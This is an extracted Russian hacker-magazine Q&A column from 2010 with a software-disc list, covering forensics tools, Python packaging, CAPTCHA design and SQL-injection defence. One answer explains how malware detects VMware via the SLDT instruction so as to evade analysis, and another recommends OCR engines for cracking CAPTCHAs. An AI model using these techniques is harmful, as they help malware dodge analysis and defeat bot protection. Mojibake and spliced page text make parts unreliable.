UNITSАнтон «ant» Жуковfaq@real.xakep.ruunitedQ: Крис Касперски в свое время приводилдельный способ урезать Windows — удалитьвсе файлы, у которых дата и время обращения кним не отличаются от даты установки системы.Я попытался написать прогу, которая делала быэто автоматически, но, как оказалось, извлечьMAC (Modified, Access, and Change) — не такаятривиальная задача. Обычные функции дляуправления файлами с этим справиться не могут.Как быть?A: Если тебя не переполняет желание ковырятьсяс таблицей MFT и ее структурами (атам есть подводные камни, поверь мне), толучше в качестве помощника использоватьутилиту mac-robber (www.sleuthkit.org).Тулза mac-robber четко занимается тем, чтосчитывает атрибут MAC для всех файлов всистеме. К тому же она написана автором известногонабора приложений The Sleuth Kit(TSK), предназначенных для самого подробногоизучения жесткого диска. Они тебе тожепригодятся: если все же захочешь поковырятьсяс MFT, то для лучшего понимания хорошобы сначала поработать со структурированнымиотчетами, который подготовят TSKи прога ProDiscover (www.techpathways.com/DesktopDefault.aspx?tabindex=3&tabid=12).Q: Как проще всего установить модуль кPython'у?A: Для того, чтобы скачать, собрать, установитьили обновить модули, есть специальныйинструмент setuptools. Необходимые инструкциии файлы-инсталляторы для разных ОС тывсегда найдешь на сайте pypi.python.org/pypi/setuptools. Под виндой подключения новогомодуля к интерпретатору выглядит следующимобразом:1. После установки setuptools в папке со сценариямиу тебя появляется скрипт easy_install,а также его скомпилированная версия в видеexe’шника. Название говорит само за себя —решение используется для простой инсталляцииновых модулей. Это как менеджер пакетовдля системы.2. С этого момента любой модуль устанавливаетсяпростой командой через консоль:easy_install [название модуля]. В этом случаевсе необходимые файлы закачиваются из репозитория.Помимо этого, можно указать ссылкуна архив и/или egg-пакет (специальный форматдля библиотек Python) с модулем:easy_install example.com/path/to/MyPackage-1.2.3.tgz.Q: Как проще всего определить, что PDF-файлзаражен, не заморачиваясь с хитрыми утилитами,которые не дают четкого ответа, а выплевываютпромежуточную информацию для анализаспециалистом. Хочу простого ответа — зараженфайл или нет.A: Самый простой инструмент в этом плане— утилита PDF Scanner (blogs.paretologic.com/malwarediaries/CL_PDF_Scanner.zip). Навход ей подается документ в формате PDF, а навыходе она выдает один из трех вердиктов:1. «nothing found» (файл чист);2. «potential risk — JavaScript code» (в файлеесть JS-вставки, которые могут быть опасны);3. «suspicious file» (файл содержит опасныевставки, используемые, как правило, малварью).Если есть желание поэкспериментировать,попробуй скормить программе пару «плохих»файлов с зараженных доменов из списка,140 XÀÊÅÐ 08 /139/ 10


обновляемого на сайтах malwaredomainlist.com и mdl.paretologic.com.Q: Говорят, в чате Skype есть команды а-ля IRC.Так ли это?A: На самом деле чат в Skype — это почти тот жесамый IRC-канал. Многие средства для управленияканалом реализованы в самом GUI-интерфейсе,но некоторые вещи можно сделатьтолько с помощью специальных команд. Ниже— наиболее важные из них:/add [username] — добавить пользователяusername к чату./leave — покинуть чат./topic [text] — установить топик канала./get guidelines — просмотр так называемыхguideline'ов, то есть правил чата/kick [username] — удаление пользователяиз чата./kickban [username] — собственно, kick ибан./set è /set banlist — управление спискомпользователей, которым запрещено присоединятьсяк чату./set è /get allowlist — управлениемсписком пользователей, которым разрешеноприсоединяться к чату./setrole [username] MASTER | USER |LISTENER — установка определенной роли дляпользователя.Последняя команда требует пояснения: что означаютроли в Skype? CREATOR и MASTER — это чтотовроде модераторов. USER — самый обычныйпользователь чата. LISTENER — юзер, которыйучаствует в чате в режиме «только чтение».Q: Во многих местах стал встречать векторныеграфики и рисунки, которые здорово выглядяти при этом созданы без применения Flash- иSilverlight-технологий. Все, что используется —JavaScript. Но неужели все это пишется с нуля?A: Специально для того, чтобы упростить работус векторной графикой, разработан приятныйфреймворк Raphael (raphaeljs.com). Разработкаучитывает рекомендации W3G по форматуSVG, а также использует стандартизированныйVector Markup Language (язык векторной разметки).Это означает, что любой графическийобъект, созданный с помощью Raphael, являетсяпривычным DOM-объектом. Ты можешьлегко обращаться к нему из любого JavaScriptсценария,назначать обработки событий —короче говоря, без проблем использовать его.Для примера создадим на странице окружностькрасного цвета:XÀÊÅÐ 08 /139/ 10Мощный инструмент для детально изучения информации на HDD// Ñîçäàåì ïîëîòíî äëÿ ðèñóíêà 320 x200 â íà÷àëüíîé òî÷êå ñ êîîðäèíàòàìè10, 50var paper = Raphael(10, 50, 320,200);// Ðèñóåì íà ïîëîòíå îêðóæíîñòü â x,y= (50, 40) è ðàäèóñîì = 10var circle = paper.circle(50, 40,10);// Çàëèâàåì îêðóæíîñòü êðàñíûì (öâåòîì#f00)circle.attr("fill", "#f00");Ни на грамм не сложнее создать с помощьюRaphael любую другую фигуру, а потом манипулироватьею. Столь простой подход позволяет,например, реализовать красивые динамическиеграфики и диаграммы, используя чистыйJavaScript в той области, где традиционноиспользовался Flash. Это общий тренд технологииHTML 5.Q: Можно ли по PCAP-дампу с отснифанным влокалке трафиком построить схему локальнойсети?A: Если речь идет о сложной сети, то, вероятнеевсего — нет. Но эти данные могут статьотличной отправной точкой для анализа.По крайней мере, они содержат данные овалидных диапазонах IP-адресов. Кстати, автоматизироватьсбор данных о локальной сети,имея дамп с трафиком, умеет перловый скриптnwmap (nwmap.sourceforge.net). Для работыему потребуется установленный сканер Nmap исниффер Tshark.Q: Дано: embedded-девайс, который надо перепрошить.По идее, можно кинуть на флешкуфайл с прошивкой и вставить его в USB-разъемустройства. Однако девайс ее почему-то не видит.Первая мысль — флешка на NTFS, поэтому,наверное, и не может прочитаться. Но, отформатировавв FAT с помощью винды, я так ничегоне добился. Есть идеи, как решить проблему?A: Скорее всего, девайс понимает только FAT/FAT32. Чтобы правильно отформатироватьфлешку, часто недостаточно встроенного ввинду. А вот кто точно справится — это утилитыHP USB Disk Storage Format Tool или PE2USB. Уних нет домашних страниц, но бинарники легкоищутся через Google.Q: Экспериментируя с малварью, уперся в тупик.Тело загрузчика определяет, что запущенов виртуальном окружении (я юзаю VMwareWorkstation) и не заражает систему. Меняинтересует методика. Хочу также использоватьподобные механизмы в своих разработках.Есть ли конкретные рецепты, как определитьприсутствие виртуалки?A: Многие загрузчики проверяют, выполняютсяли они в среде виртуальной машины, простосчитывая содержимое регистра LDTR. В немсодержится селектор сегмента, в котором располагаетсялокальная таблица дескрипторовсегмента, необходимая для вычисления линейногоадреса из пары «селектор сегмента — смещение».Сама Windows давно не используетлокальные таблицы дескрипторов сегментов,и поэтому заполняет регистр LDTR нулевымзначением. А вот виртуальные машины, в томчисле VMware — используют. Получается совсемпростая проверка: есть значение регистраLDTR, отличное от нуля, значит, выполнениепроцесса осуществляется в виртуальномокружении. К тому же для получения значениярегистра используется инструкция SLDT (StoreLocal Descriptor Table Register), которая неявляется привилегированной и поэтому можетбыть выполнена в ring-3 любым приложением.Резюме вышесказанного: для определениявиртуалки программе достаточно вызватьинструкцию SLDT и посмотреть, отличается липолученное значение от нуля.Q: Заметил следующий факт: многие самодельныеCAPTCHA совершенно нечитаемы. Абсолютнонепонятно, какой конкретно изображен141


UNITSДопустим, что программист — полный олух и никакне фильтрует и не экранирует значение $fname.Таким образом, имеем стандартную уязвимостьSQL Injection. Но если использовать приемInterpolique, то даже при таком раскладе у атакующегоничего не выйдет. Посмотрим почему:$conn->query(eval(b('select * fromtable where fname=^^fname;')));Здесь функция b — это функция-обертка дляподстановки операций base64-кодированиядля переменных, отмеченных символами ^^.После несложных преобразований к базе данныхформируется следующий запрос:Продвинутая векторная графика на чистом JavaScriptselect * from table wherefname=b64d("Veh.....=")символ: то ли это l, то ли 1, то ли I. Получается,разрабатывая свою капчу, лучше вообще вовремяисключить эти символы?Q: За основу лучше всего взять следующийдиапазон символов: [A-Z][a-z][0-9] и дальшеисключать из него проблемные элементы.Многое зависит от алгоритма и, в частности,от используемого шрифта: он может быть сзасечками или без них, и это сильно повлияетна читаемость. Главная проблема в том, чтопосле деформаций, искажений и накладыванияшумов многие буквы сложно однозначноидентифицировать. Например:•«l», «1», «I» — все символы слишком похожидруг на друга;•«W», «w» —«w» очень просто спутать с «v» или «vv»;• «O»,«0», «Q» — очень похожи, особенно еслина капче добавляются шумы;•«g», «9» — практически один символ, особеннопосле деформации;•«3», «8» — могут быть спутаны друг с другом и «B»;•«4» — часто похожа на «A»;•«5» — при наклоне неотличим от «S»;•«L» — после наклона может быть спутан с «V»;•«r» — может быть перепутан с «n»;•«h» — после скручивания похоже на «n»;•«Y», y», «v» — часто неотличимы последеформаций.Но даже если вообще исключить эти символы,построить надежную капчу более чемвозможно.Q: Мне очень понравилась ваша статья про взломCAPTCHA. Но все-таки, если не писать самомунейронную сеть и не обучать ее, не реализовыватьсложные алгоритмы, ковыряясь впремудростях OCR, есть ли какие-нибудь движкидля распознавания, которые могли бы помочь вовзломе CAPTCHA?A: По большому счету, нужно то же самое, чтои для оцифровки обычного текста, то есть эффективноеOCR-решение. Технологий, которыеоткрыты, бесплатны и при этом даже работают,не так много.GOCR (jocr.sourceforge.net) — предельно простойи открытый OCR-пакет, которому не нужно142обучение. Работает очень быстро, но не такточно, как другие более сложные движки.Tesseract (code.google.com/p/tesseract-ocr)— другой бесплатный OCR-движок, которыйразрабатывался компанией HP с 1985 по 1995год. Для того, чтобы начать распознавание,потребуется более сложная настройка, но ирезультат будет намного точнее, чем у GOCR.ocropus (code.google.com/p/ocropus) — а этоуже основанная на Tesseract система для распознаваниятекста, но от любимого и одновременнонелюбимого Google :). Проект еще молодой,но уже сейчас легко интегрируемый в своихрешениях, который очень неплохо работают.Gamera (ldp.library.jhu.edu/projects/gamera) —это не просто движок, а целый фреймворк длянаписания систем эффективного распознаваниясложных образов (в том числе CAPTCHA),который несложно заставить работать.Q: Подскажи простой, но надежный способ защититьсяот SQL-инъекций.A: Один из самых эффективных способов (ну, крометолковой головы программиста) являются такназываемые файерволы для веб-приложений. Унас был подробный материал о WAF в одном изномеров ][ (www.xakep.ru/magazine/xa/130/056/1.asp). Но если говорить о надежном и, в тожевремя, простом способе уберечь свои разработкиот SQL-инъекций, то следует отметить приемInterpolique. Не так давно он был представленДеном Каминским, который стал известен послеобнаружения серьезной уязвимости в технологииDNS. Общая идея Interpolique заключается втом, чтобы при передаче пользовательских данныхв запросе к СУБД фигурировали не открытыеданные, а зашифрованная в base64 строка.Что это дает? Очень просто — в хеше строки поумолчанию отсутствуют специальные символы,которые могут привести к инъекции. Что быхакер ни передавал, в запросе будет валиднаястроковая переменная. Для примера посмотримна самый простейший запрос:$conn->query("select * from tablewhere fname=^^fname;");Здесь-то и видна самая главная фишка этогоприема. Какое бы значение не было у переменнойfname (даже если оно никак не фильтруется,и хакер туда поставил спецсимволы), приобращении к СУБД она всегда будет представленабезобидной строкой-хешем, а значит, возможностьинъекции исключена. Оригинальнаяпрезентация от автора подхода с более подробнымописанием доступна на www.scribd.com/doc/33001026/Interpolique. Оттуда, в частности,можно почерпнуть функции для обработки строкbase64 в MySQL. В другой популярной СУБД —PostgreSQL — поддержка base64 реализованачерез штатные функции encode/decode.Q: Что такое SHSH, если говорить об iPhone/iPad,и почему рекомендуют его сохранять? Как этосделать?A: Apple — это очень умная компания, которая думаетне только о качестве своей продукции, но и отом, как ее защитить. Любой девайс можно обновить,но при этом по умолчанию нет возможностивернуть прошивку назад. Это может сыграть злуюшутку, если в новой firmware Apple реализуеткакую-нибудь хитрую защиту, предотвратив возможностьсделать Jailbreak (доступ к системнымфайлам и полная свобода действия на устройстве).При попытке прошить iPhone, iPod Touch илиiPad, программа iTunes обращается на серверкомпании Apple, передавая так называемыйномер ECID (уникальный идентификатор чипадевайса) и номер текущей прошивки. Сервер всвою очередь отправляет в отчет тот самый SHSH— специальный идентификатор для модуляiBoot, который отвечает за загрузку устройства. Взависимости от идентификатора iBoot либо разрешаетпрошить девайс, либо не разрешает. Такзачем нужно бэкапить SHSH? Резон есть: какуюбы новую защиту не придумала Apple, отключиввозможность добраться до системных файловдевайса (то есть сделать Jailbreak), пользовательвсегда может откатить прошивку до той версии,где такая возможность имеется. Но это возможнотолько в том случае, если у него есть правильныйSHSH, который когда-то был выдан Apple. Сделатьбэкап SHSH позволяет утилита TinyUmbrella(thefirmwareumbrella.blogspot.com).zXÀÊÅÐ 08 /139/ 10


x№ 08(139)АВГУСТ 2010>>WINDOWS>DevelopmentAdobe AIR 2.0Diffuse 0.4.3Eclipse 3.6Enterprise Architect 8.0Geany 0.19Mockups For DesktopGoogle App Engine SDK for JavaGoogle App Engine SDK for PythonHttpWatch 7.0Inno Setup 5.3.10jQueryPadLINQPadMySQL Community Server 5.1.48MySQL Workbench 5.2.25NetBeans 6.9Python 2.7WebStorm-RC-95.298>Dailysoft7-Zip 4.65DAEMON Tools Lite 4.35.6Download Master 5.7.2.1217Far Manager v2.0 build 1420 x86FileZilla Client 3.3.3Firefox 3.6.6foobar2000 1.0.3K-Lite Mega Codec Pack 6.10Miranda 0.8.27Nodepad++ 5.7Opera 10.60PuTTY 0.60Skype 4.2SysinternalsSuite (Ёо м)Total Commander 7.50aUnlocker 1.8.9<strong>Xakep</strong> CD DataSaver 6.0XnView 1.97.6>MiscBatteryBar Free 3.4.1CLCL 1.1.2Folder Bookmarks 1.6.5.1gMote 1.41Launchy 2.5ListaryOnTopReplicaPilesPreme 0.92TimeSheet 1.1.5TriX 0.0.11.17USB Stick Watcher 1.5Windows 7 Shortcuts 0.4.2>MultimediaAshampoo Snap 4.0.0Evernote 3.5.4Flashcards 2.2.5Fotobounce 3.0.3Foxit Reader 4.0GameSave ManagerGimp 2.6.9Google Earth 5.2Gramps 3.2.3iTunes 9.2Lotus Symphony 3 BetaRainmeter 1.2Songbird 1.7.3Zoner Photo Studio Free>NetFortitude HTTP 1.0.1.8GarenaLogMeIn HamachiOpera 10.60Swish 0.4.0TightVNC 2.0Trillian 4.2.0Tunngle 4.3.1.4VodBurner 1.0.2Vuze 4.4.0.6aWeezo 2.1>SecurityAutoIt 3.3.6BotHunter 1.5.0EXEForger (SignsImitator) 1.0.40.10Free Netsparker Community EditionHexjector 1.0.7.4JBroFuzz 2.3MDD 1.3PenTBox 1.3.2Poet 1.0.0PyLoris 3.0RainbowCrack 1.41Sikuli 0.10.1Snorby Spsa 1.4Tinc 1.0.13USBdumperWireshark 1.2.9>SystemAcronis Drive Monitor FreeAVG Free Edition 9.0.839BatteryCare 0.97Beep Codes Viewer 0.0.1Cobian Backup 10DriveImage XML 2.14FileSeek 1.9.8HashMyFiles 1.68HashTab 3.0Ketarin 1.1Monitor Asset Manager 2.5RAMDisk 3.5Sandboxie 3.46Security Essentials 1.0.1963SpyShelter FreeSSD Tweak UtilityUNetbootin 4.71USB Safeguard 1.3USB WriteProtector 1.1VirtualBox 3.2.6Watch 4 Folder 2.0>>UNIX>DesktopDjVuSmooth 0.2.7DockbarX 0.39.4Enlightenment 1.0.2Flashcards 2.2.5F-Spot 0.7.0Furius ISO Mount 0.11.2.1Gimp 2.6.9Gnucash 2.2.9Gramps 3.2.3Inkscape 0.48K3b 2.0.0Kaffeine 1.0LilyPond 2.13.2Mathomatic 15.1.4OpenOffice.org 3.2.1Pcmanfm 0.9.7Remind 3.1.9SimpleBurn 1.5.1SnowIsh 2StarDict 3.0.2VLC 1.1.0>DevelAdobe AIR 2.0Android 2.2CodeBlocks 10.5Eclipse 3.6Geany 0.19Gnat GPL 2010Hancock 2.0.2HSQLDB 2.0libpng 1.4.3Meld 1.3.2MonoDevelop 2.4MySQL Workbench 5.1.18NetBeans 6.9Python 2.7Paco 2.0.8Qt Creator 2.0Ruby Enterprise Edition 1.8.7Tcl 8.5.8xTests 0.15.2ZinjaI 20100624>GamesWormux 0.9.2>NetAdobe flash player 10.1Aria2 1.9.5CrossFTP 1.65aEiskaltDC++ 2.0.3Emesene 1.6.2Empathy 2.30.2Google Chrome 5.0.375.86Googlecl 0.9.8Googsystray 1.2.0KDropbox 0.3.0LimeWire 5.5.10Mozilla Firefox 3.6.6Mozilla Thunderbird 3.1Opera 10.60qBittorrent 2.2.10SeaMonkey 2.0.5Transmission 2.00Twit BetaUget 1.5.9.2XTelnet 0.4.4>SecurityAgentsmith 0.1ArpON 2.0AVG Anti-Virus Free Edition 8.5.0812Beltane 1.0.17Ctm 0.2.0Editor shellcodeJohn the Ripper 1.7.6Poet 1.0.0PyLoris 3.0Samhain 2.7.1Simplefuzz 0.6.2Snare 1.5.1Snort2Pf 4.4SpiderpigSuricata 0.9.2THC-Hydra 5.7THC-IPv6 1.2Tinc 1.0.13Tmac 1.0Tor 0.2.1.26>Server389 Directory Server 1.2.5Amavisd-new 2.6.4Anti-Spam SMTP Proxy Server1.7.5.5Apache 2.2.15BIND 9.7.0Cherokee 1.0.3Courier-IMAP 4.8.0CUPS 1.4.3DHCP 4.1.1Dovecot 1.1.12Mail Avenger 0.8.1Monkeyd 0.10.3Music Player Daemon 0.15.9OpenLDAP 2.4.22OpenSSH 5.5OpenVPN 2.1.1Samba 3.5.4Simon 0.2TeamSpeak3Xorg server 1.8.1>SystemEncFS 1.6.0Linux Kernel 2.6.34Logstalgia 1.0.0Pacman 3.4.0PCSX2 0.9.7 Betardup 1.1.7SynCE 0.15Syslinux 3.86Sysstat 9.1.3Tracker 0.8.13VirtualBox 3.2.6Wine 1.0.1WineGame 0.1Zen-kernel 2.6.34ВЗЛОМ АУТЕНТИФИКАЦИИ НА САЙТЕ НАТО СТР. 50РЕКОМЕНДОВАННАЯЦЕНА: 210 р.АВГУСТ 08 (139) 2010MALWAREÍÎÂÀß ÐÓÁÐÈÊÀÎ ÂÈÐÓÑÀÕСЕРВЕРНЫЙJAVASCRIPTÐÀÇÁÈÐÀÅÌÑß Ñ NODE.JSÑÒÐ. 30ÒÅÑÒ ÍÅÒÒÎÏÎÂWARDIVING Â ÍÀØÅÌ ÂÅÊÅÊÐÀØ-ÒÅÑÒ ÐÎÑÑÈÉÑÊÈÕÀÍÒÈÂÈÐÓÑÎÂÏÐÎÁÐÀÑÛÂÀÅÌ ÏÎÐÒÛÂ ÎÊÍÀÕ, ÍÈÊÑÀÕ È ÖÈÑÊÀÕСВОЙVIRUSTOTALÑÎÇÄÀÅÌ ÑÅÐÂÈÑÄËß ÏÐÎÂÅÐÊÈ ÔÀÉËÀÍÅÑÊÎËÜÊÈÌÈ ÀÍÒÈÂÈÐÓÑÀÌÈÑÒÐ. 74


UNITSHTTP://WWW2Для записи скринкастовДля защиты отDDoS-атакSCREENJELLYwww.screenjelly.comВ одной из рубрик WWW2 мы рассказывали о замечательном сервисеScreenToaster, позволяющем прямо из браузера записать скринкаст иразместить на специальном хостинге в Сети. К сожалению, 31 июля онпрекращает свое существование. Надо сказать, что сервисов с аналогичнымивозможностями теперь довольно много, но если искать альтернативу,то я бы, безусловно, выбрал Screenjelly. За все время я уже успел записатьс десяток скринкастов с отличным качеством из Windows и Mac OS Xс безупречно наложенной голосовой дорожкой, записанной с микрофона.IPINFODBwww.ipinfodb.comПо большому счету, IPinfoDB — это ежемесячно обновляемая база диапазоновIP-адресов, привязанных к разным странам. Другими словами, тутможно быстро посмотреть, какой стране принадлежит тот или иной IP. Ноэто все ерунда; главное, что внутри сервиса есть несколько встроенныхинструментов для генерации правил файервола и .htaccess, с помощьюкоторых можно заблокировать доступ к серверу по географическомупризнаку. Если нужно быстро отразить наплыв ботов из Китая или откудалибоеще — это очень хороший помощник.Для поиска иконокICONSEARCHwww.iconsearch.ru«Делаем поиск иконок проще», — гласит лейбл на главной страницеIconSearch’а. И не обманывает. По сути, это сервис для поиска картинок,похожий на тот, что есть у Google и Яндекса, но предназначенныйспециально для нахождения иконок. Набираешь слово «Корзина», и врезультате получаешь 519 различных вариантов привычного образа.Всего в системе сейчас 133673 иконок. Причем это не краденые изображения:все представленные PNG-файлы распространяются под лицензиями,позволяющими бесплатно использовать их, правда, в некоторыхслучаях с ограничениями.SYNC.INwww.sync.inДля совместной работы надодним и тем же файломЕще одним замечательным сервисом, который прекратил свое существованиев этом году, стал онлайн-редактор Etherpad, позволяющий несколькимлюдям одновременно работать с одним и тем же текстом. Фишка в том,что изменения пользователей отображались каждому из них в реальномвремени. Компания Google, купившая сервис, прикрыла его, реализовавего функциональность в Google Docs и Google Wave. Но привычной простотыне хватает! К счастью, сейчас семимильными шагами развиваетсяполный клон Etherpad’а — сервис Sync.in. Для начала работы достаточнонажать «Create a public note» и поделиться ссылкой (например, sync.in/mzTvpcoKKA) с нужными людьми.144 XÀÊÅÐ 08 /139/ 10

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!